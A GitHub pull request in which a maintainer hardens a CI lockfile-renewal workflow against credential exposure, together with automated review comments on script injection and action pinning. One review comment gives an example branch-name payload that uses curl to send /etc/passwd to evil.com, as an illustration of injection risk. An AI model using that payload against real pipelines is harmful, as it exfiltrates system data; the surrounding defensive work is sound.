Skip to content

RHAIENG-4071: harden piplock-renewal workflow against credential exposure#3202

Merged
jiridanek merged 3 commits intomainfrom
jd_RHAIENG-4071_piplock-credential-hardening
Mar 27, 2026
Merged

RHAIENG-4071: harden piplock-renewal workflow against credential exposure#3202
jiridanek merged 3 commits intomainfrom
jd_RHAIENG-4071_piplock-credential-hardening

Conversation

@jiridanek
Copy link
Copy Markdown
Member

@jiridanek jiridanek commented Mar 27, 2026

https://redhat.atlassian.net/browse/RHAIENG-4071

Summary

  • Don't persist GH_ACCESS_TOKEN before executing branch code — a malicious branch could read the stored PAT from .git/config during make execution
  • Set persist-credentials: false on checkout, supply PAT only at push time via explicit x-access-token URL
  • Restrict workflow-level permissions to {} (none by default), reduce each job to least-privilege

Changes

  • Checkout: removed token and set persist-credentials: false
  • Push: use explicit https://x-access-token:${GH_TOKEN}@github.com/... URL instead of origin
  • Permissions: top-level permissions: {}, refresh-lock-files reduced to contents: read, auto-merge-lockfile-prs reduced to pull-requests: write only

References

Test plan

🤖 Generated with Claude Code

Summary by CodeRabbit

Summary by CodeRabbit

  • Chores
    • Tightened CI workflow permissions to follow least-privilege practices.
    • More secure handling of checkout and push operations (reduced credential persistence, explicit remote push).
    • Improved lockfile refresh and update PR flow with explicit branch handling and safer command arguments.
    • Reduced permissions for automated merge jobs, clarifying token usage for approvals.

…sure

Don't persist GH_ACCESS_TOKEN before executing branch code. A malicious
branch could read the stored PAT from .git/config during `make` execution.

- Set persist-credentials: false on checkout
- Supply PAT only at push time via explicit x-access-token URL
- Restrict workflow-level permissions to {} (none by default)
- Reduce refresh-lock-files job to contents: read (push uses PAT)
- Reduce auto-merge job to pull-requests: write only (no contents: write)

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@openshift-ci openshift-ci Bot requested review from atheo89 and daniellutz March 27, 2026 13:38
@github-actions github-actions Bot added the review-requested GitHub Bot creates notification on #pr-review-ai-ide-team slack channel label Mar 27, 2026
@openshift-ci openshift-ci Bot added the size/s label Mar 27, 2026
@coderabbitai
Copy link
Copy Markdown
Contributor

coderabbitai Bot commented Mar 27, 2026

📝 Walkthrough

Walkthrough

The workflow sets global default permissions to none and narrows job-level permissions. In refresh-lock-files, contents permission was reduced to read, persist-credentials was disabled in checkout, INDEX_MODE is quoted, and the branch push was changed to use an HTTPS remote that embeds GH_TOKEN in the URL. PR creation now passes --head "$BRANCH_NAME" and uses $BRANCH as the base. In auto-merge-lockfile-prs, contents: write was removed, leaving only pull-requests: write.

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~10 minutes

Security findings

  1. CWE-532: Insertion of Sensitive Information into Log File — The git push embeds GH_TOKEN in an HTTPS URL:
    git push -u https://x-access-token:${GH_TOKEN}@github.com/${{ github.repository }}.git ...
    Actionable remediation: avoid embedding tokens in command arguments. Use the workflow-provided GITHUB_TOKEN with actions/checkout credential helper (leave persist-credentials: true) or configure a git credential helper (git-credential-store/manager) and export the token via environment variable. If embedding is unavoidable, add masking via ::add-mask::${{ secrets.GH_TOKEN }} and ensure push errors are suppressed from logs.

  2. CWE-276: Incorrect Default Permissions / Excessive Token Scope — Introducing a separate GH_TOKEN secret risks over-privileged or improperly scoped credentials.
    Actionable remediation: use the built-in GITHUB_TOKEN where possible; if a separate token is required, ensure its scopes are minimal (repo:status/write only as needed) and rotate/restrict it. Audit secrets and ensure no downstream job inadvertently receives elevated permissions.

  3. CWE-862: Missing Authorization — The change reduces repo-level write permissions but relies on PR automation (pull-requests: write). Verify that the workflow still has the explicit authorization to push update branches and that PR creation/merge steps use tokens with the least privilege required.
    Actionable remediation: document required operations vs token scopes, and test failure modes to ensure no fallback exposes more permissions.

Only actionable issues listed.

🚥 Pre-merge checks | ✅ 3
✅ Passed checks (3 passed)
Check name Status Explanation
Title check ✅ Passed Title uses imperative mood ('harden'), includes ticket reference (RHAIENG-4071), and accurately summarizes the main security-focused changes to the workflow.
Description check ✅ Passed Description provides clear summary, specific changes, security references, and test plan; however, test plan items lack completion checkmarks and one manual test reference appears incomplete.
Branch Prefix Policy ✅ Passed PR title complies with branch prefix policy for main branch, correctly using JIRA reference and avoiding release branch prefixes.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.


Comment @coderabbitai help to get the list of available commands and usage tips.

@codecov-commenter
Copy link
Copy Markdown

codecov-commenter commented Mar 27, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 3.44%. Comparing base (6a8272f) to head (ca6929e).
✅ All tests successful. No failed tests found.

Additional details and impacted files

Impacted file tree graph

@@          Coverage Diff          @@
##            main   #3202   +/-   ##
=====================================
  Coverage   3.44%   3.44%           
=====================================
  Files         30      30           
  Lines       3368    3368           
  Branches     530     530           
=====================================
  Hits         116     116           
  Misses      3250    3250           
  Partials       2       2           
Flag Coverage Δ
python 3.44% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.


Continue to review full report in Codecov by Sentry.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6a8272f...ca6929e. Read the comment docs.

🚀 New features to boost your workflow:
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@openshift-ci openshift-ci Bot added size/s and removed size/s labels Mar 27, 2026
Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (3)
.github/workflows/piplock-renewal.yaml (3)

78-78: ⚠️ Potential issue | 🟠 Major

Pin astral-sh/setup-uv by full commit SHA.

Third-party actions carry higher risk.

-        uses: astral-sh/setup-uv@v7
+        uses: astral-sh/setup-uv@<FULL_SHA>  # v7

As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/piplock-renewal.yaml at line 78, The workflow currently
references the third-party action with a tag ("uses: astral-sh/setup-uv@v7");
update this to pin the action to a full commit SHA instead (e.g., "uses:
astral-sh/setup-uv@<full-sha>") to satisfy the security guideline. Locate the
line containing the uses entry for astral-sh/setup-uv in the
piplock-renewal.yaml workflow and replace the tag reference with the
corresponding full commit SHA from the action's repository release commit.

73-73: ⚠️ Potential issue | 🟠 Major

Pin actions/setup-python by full commit SHA.

Same supply chain concern applies.

-        uses: actions/setup-python@v6
+        uses: actions/setup-python@<FULL_SHA>  # v6

As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/piplock-renewal.yaml at line 73, The workflow currently
references the action using the tag "actions/setup-python@v6"; replace that tag
with the action pinned to a full commit SHA (e.g.,
actions/setup-python@<full-commit-sha>) so the workflow uses a specific
immutable commit. Update the uses entry (the line containing uses:
actions/setup-python@v6) to the corresponding full SHA for the desired release
and commit the change.

104-116: ⚠️ Potential issue | 🔴 Critical

Script injection via ${{ env.BRANCH }} (CWE-94).

github.event.inputs.branch is a freeform text input. It flows into env.BRANCH (line 55) then gets directly interpolated into this shell command. A malicious actor with write access could supply main"; curl http://evil.com/$(cat /etc/passwd | base64); echo " as the branch name.

Use the shell variable $BRANCH instead of the GitHub Actions expression ${{ env.BRANCH }}:

Proposed fix
           gh pr create \
             --title "Update lock files" \
             --body "$(cat <<'EOF'
           Automated lock file update.
 
           **Auto-merge policy:** This PR will be automatically merged after 1 working day unless:
           - Moved to draft status
           - Labeled with `do-not-merge/*`
           - Manually merged or closed
           EOF
           )" \
             --label "automated-lockfile-update" \
-            --base "${{ env.BRANCH }}"
+            --base "$BRANCH"

As per coding guidelines: "Never interpolate event data directly in run: blocks (script injection CWE-94)".

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/piplock-renewal.yaml around lines 104 - 116, The gh pr
create invocation is vulnerable because it interpolates the GitHub Actions
expression `${{ env.BRANCH }}` directly into the shell; change that to use the
shell variable "$BRANCH" instead (i.e., --base "$BRANCH") and ensure BRANCH is
populated from the workflow environment prior to the run step (exported into the
shell via GITHUB_ENV or a preceding run) and always quoted; also add basic
validation/sanitization of BRANCH (allow only expected branch name characters)
before using it to fully mitigate script-injection risk.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Inline comments:
In @.github/workflows/piplock-renewal.yaml:
- Line 62: Replace the tag reference "actions/checkout@v6" with the
corresponding full commit SHA for the v6 release to pin the action; update the
workflow entry that uses actions/checkout (the "uses: actions/checkout@v6" line)
so it reads "uses: actions/checkout@<full-commit-sha>" using the official v6
release commit hash from the actions/checkout repository, commit the change, and
verify the workflow still runs as expected.

---

Outside diff comments:
In @.github/workflows/piplock-renewal.yaml:
- Line 78: The workflow currently references the third-party action with a tag
("uses: astral-sh/setup-uv@v7"); update this to pin the action to a full commit
SHA instead (e.g., "uses: astral-sh/setup-uv@<full-sha>") to satisfy the
security guideline. Locate the line containing the uses entry for
astral-sh/setup-uv in the piplock-renewal.yaml workflow and replace the tag
reference with the corresponding full commit SHA from the action's repository
release commit.
- Line 73: The workflow currently references the action using the tag
"actions/setup-python@v6"; replace that tag with the action pinned to a full
commit SHA (e.g., actions/setup-python@<full-commit-sha>) so the workflow uses a
specific immutable commit. Update the uses entry (the line containing uses:
actions/setup-python@v6) to the corresponding full SHA for the desired release
and commit the change.
- Around line 104-116: The gh pr create invocation is vulnerable because it
interpolates the GitHub Actions expression `${{ env.BRANCH }}` directly into the
shell; change that to use the shell variable "$BRANCH" instead (i.e., --base
"$BRANCH") and ensure BRANCH is populated from the workflow environment prior to
the run step (exported into the shell via GITHUB_ENV or a preceding run) and
always quoted; also add basic validation/sanitization of BRANCH (allow only
expected branch name characters) before using it to fully mitigate
script-injection risk.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository YAML (base), Central YAML (inherited), Repository UI (inherited)

Review profile: CHILL

Plan: Pro

Run ID: 2eda4c3f-ddbe-4e3d-bfde-feddd687132c

📥 Commits

Reviewing files that changed from the base of the PR and between 6a8272f and fa7082a.

📒 Files selected for processing (1)
  • .github/workflows/piplock-renewal.yaml

@@ -61,8 +62,7 @@ jobs:
uses: actions/checkout@v6
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major

Pin actions/checkout by full commit SHA (CWE-1357: supply chain risk).

Tag @v6 can be force-pushed by upstream. Use the commit SHA to prevent silent compromise.

-        uses: actions/checkout@v6
+        uses: actions/checkout@<FULL_SHA>  # v6

As per coding guidelines: "Pin all actions by full SHA, not tags (prevent supply chain attacks)".

🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/piplock-renewal.yaml at line 62, Replace the tag reference
"actions/checkout@v6" with the corresponding full commit SHA for the v6 release
to pin the action; update the workflow entry that uses actions/checkout (the
"uses: actions/checkout@v6" line) so it reads "uses:
actions/checkout@<full-commit-sha>" using the official v6 release commit hash
from the actions/checkout repository, commit the change, and verify the workflow
still runs as expected.

The explicit x-access-token URL push sets upstream tracking to the URL
path instead of origin, so gh pr create fails to detect the remote.
Add --head flag to specify the branch name explicitly.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@openshift-ci openshift-ci Bot added size/s and removed size/s labels Mar 27, 2026
GitHub Actions expressions are interpolated before the shell runs,
making freeform inputs like branch name injectable (CWE-94). Use shell
variables ($BRANCH, $INDEX_MODE) instead in run: blocks.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
@openshift-ci openshift-ci Bot added size/s and removed size/s labels Mar 27, 2026
Copy link
Copy Markdown
Contributor

@coderabbitai coderabbitai Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (2)
.github/workflows/piplock-renewal.yaml (2)

78-80: ⚠️ Potential issue | 🟠 Major

Pin astral-sh/setup-uv by full commit SHA (CWE-1357).

Third-party action uses mutable tag. Supply chain attack vector.

-        uses: astral-sh/setup-uv@v7
+        uses: astral-sh/setup-uv@<FULL_SHA>  # v7
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/piplock-renewal.yaml around lines 78 - 80, The workflow
step currently uses a mutable tag "astral-sh/setup-uv@v7" which is vulnerable to
supply-chain changes; update the uses line for the step (the one referencing
astral-sh/setup-uv@v7) to pin the action to a specific full commit SHA (e.g.,
astral-sh/setup-uv@<full-commit-sha>) instead of the tag, keeping the existing
with: version-file: uv.toml block intact; commit the change and verify the SHA
by checking the action repository for the desired release commit.

73-75: ⚠️ Potential issue | 🟠 Major

Pin actions/setup-python by full commit SHA.

Tag @v6 can be force-pushed (CWE-1357). Use the SHA for v6.0.0:

-        uses: actions/setup-python@v6
+        uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065  # v6.0.0
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.

In @.github/workflows/piplock-renewal.yaml around lines 73 - 75, Replace the
floating tag "actions/setup-python@v6" with the pinned full commit SHA for the
v6.0.0 release to prevent tag force-push issues; locate the uses:
actions/setup-python@v6 line in the workflow and update it to the exact SHA for
v6.0.0 while preserving the python-version: '3.12' setting so the action remains
functionally identical.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.

Outside diff comments:
In @.github/workflows/piplock-renewal.yaml:
- Around line 78-80: The workflow step currently uses a mutable tag
"astral-sh/setup-uv@v7" which is vulnerable to supply-chain changes; update the
uses line for the step (the one referencing astral-sh/setup-uv@v7) to pin the
action to a specific full commit SHA (e.g.,
astral-sh/setup-uv@<full-commit-sha>) instead of the tag, keeping the existing
with: version-file: uv.toml block intact; commit the change and verify the SHA
by checking the action repository for the desired release commit.
- Around line 73-75: Replace the floating tag "actions/setup-python@v6" with the
pinned full commit SHA for the v6.0.0 release to prevent tag force-push issues;
locate the uses: actions/setup-python@v6 line in the workflow and update it to
the exact SHA for v6.0.0 while preserving the python-version: '3.12' setting so
the action remains functionally identical.

ℹ️ Review info
⚙️ Run configuration

Configuration used: Repository YAML (base), Central YAML (inherited), Repository UI (inherited)

Review profile: CHILL

Plan: Pro

Run ID: 4f26a45e-2640-48b2-b071-bf21b74b679f

📥 Commits

Reviewing files that changed from the base of the PR and between fa7082a and ca6929e.

📒 Files selected for processing (1)
  • .github/workflows/piplock-renewal.yaml

@openshift-ci
Copy link
Copy Markdown
Contributor

openshift-ci Bot commented Mar 27, 2026

[APPROVALNOTIFIER] This PR is NOT APPROVED

This pull-request has been approved by: ide-developer
Once this PR has been reviewed and has the lgtm label, please assign daniellutz for approval. For more information see the Code Review Process.

The full list of commands accepted by this bot can be found here.

Details Needs approval from an approver in each of these files:

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

@jiridanek jiridanek merged commit 01c0427 into main Mar 27, 2026
26 of 29 checks passed
@jiridanek jiridanek deleted the jd_RHAIENG-4071_piplock-credential-hardening branch March 27, 2026 14:05
mtchoum1 pushed a commit to mtchoum1/notebooks that referenced this pull request Apr 24, 2026
…sure (opendatahub-io#3202)

* RHAIENG-4071: harden piplock-renewal workflow against credential exposure

Don't persist GH_ACCESS_TOKEN before executing branch code. A malicious
branch could read the stored PAT from .git/config during `make` execution.

- Set persist-credentials: false on checkout
- Supply PAT only at push time via explicit x-access-token URL
- Restrict workflow-level permissions to {} (none by default)
- Reduce refresh-lock-files job to contents: read (push uses PAT)
- Reduce auto-merge job to pull-requests: write only (no contents: write)

* RHAIENG-4071: fix gh pr create after explicit-URL push

The explicit x-access-token URL push sets upstream tracking to the URL
path instead of origin, so gh pr create fails to detect the remote.
Add --head flag to specify the branch name explicitly.

* RHAIENG-4071: fix script injection via ${{ env.BRANCH }} in run blocks

GitHub Actions expressions are interpolated before the shell runs,
making freeform inputs like branch name injectable (CWE-94). Use shell
variables ($BRANCH, $INDEX_MODE) instead in run: blocks.

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

lgtm review-requested GitHub Bot creates notification on #pr-review-ai-ide-team slack channel size/s

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants